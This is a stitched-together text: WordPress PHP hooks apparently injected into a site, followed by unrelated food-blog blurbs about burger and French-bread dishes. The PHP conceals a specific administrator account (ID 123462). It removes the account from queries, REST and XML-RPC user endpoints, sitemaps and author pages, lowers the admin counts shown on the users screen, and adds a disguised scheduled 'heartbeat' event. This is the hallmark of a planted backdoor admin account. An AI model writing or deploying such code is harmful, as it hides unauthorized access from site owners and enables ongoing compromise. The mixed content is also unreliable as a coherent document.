add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 123462;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 123462 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 123462 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 123462;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 123462;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 123462;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/123462(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 123462;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );

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“J’s newest Ultimate Double Steakhouse is over 3 lbs of burger awesomeness, made with two 12 oz patties on French bread, topped with bacon (½ lb), cheese, mushrooms, peppers, onions, lettuce, and tomato. Finish the burger & 16 oz basket of our signature fries in less than an hour, & we’ll put your picture on the “Wall of Fame” here, on our Facebook page & in the restaurant, you’ll get a free gourmet dessert on your next visit, and we’ll tell the world about your conquest in our newspaper, web site & internet ads. And, of course, the burger is on the house!”
Auburn, Indiana
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A burger patty topped with Wisconsin Limburger cheese, bacon, onion rings, and hash browns, on white French bread.
Photo courtesy of Cheese & Burger.
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18 inches of French bread loaded with burnt ends, piled high with mac and cheese, smoked gouda. Served with hand cut fries and slaw.
It costs $29.95 unless conquered in one hour, then it is free.
Chicago, Illinois
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A 1/3 lb angus burger and an all-beef grilled hot dog topped with crispy bacon, grilled onions, and American cheese on a fresh baked French baguette.
Phoenix, Arizona
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Two burger patties topped with Wisconsin Swiss cheese, ham, roasted pork shoulder, pickles, and mustard, on pressed French bread.
Photo courtesy of Cheese & Burger.
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Get ready for Mardi Gras in your mouth. This mouthwatering mound of cheeseburger deliciousness doesn’t hold back a thing when it comes to flavor. It features a Creole mustard-smothered French roll packed high with fried shrimp, Wisconsin gruyère cheese, lettuce, tomatoes, onions, and pickles.
Photo courtesy of Cheese & Burger.
The post The New Orleans first appeared on Damn That Looks Good.
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A burger patty topped with a candied bacon weave sandwiched between a French bread pizza.
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Toasted French bread with garlic butter, spice blend, mozzarella and provolone cheeses. Served with dipping sauce.
Photo courtesy of Jeff’s Pizza Shop.
Ames, Iowa
The post Garlic Cheese Bread From Jeff's Pizza Shop first appeared on Damn That Looks Good.
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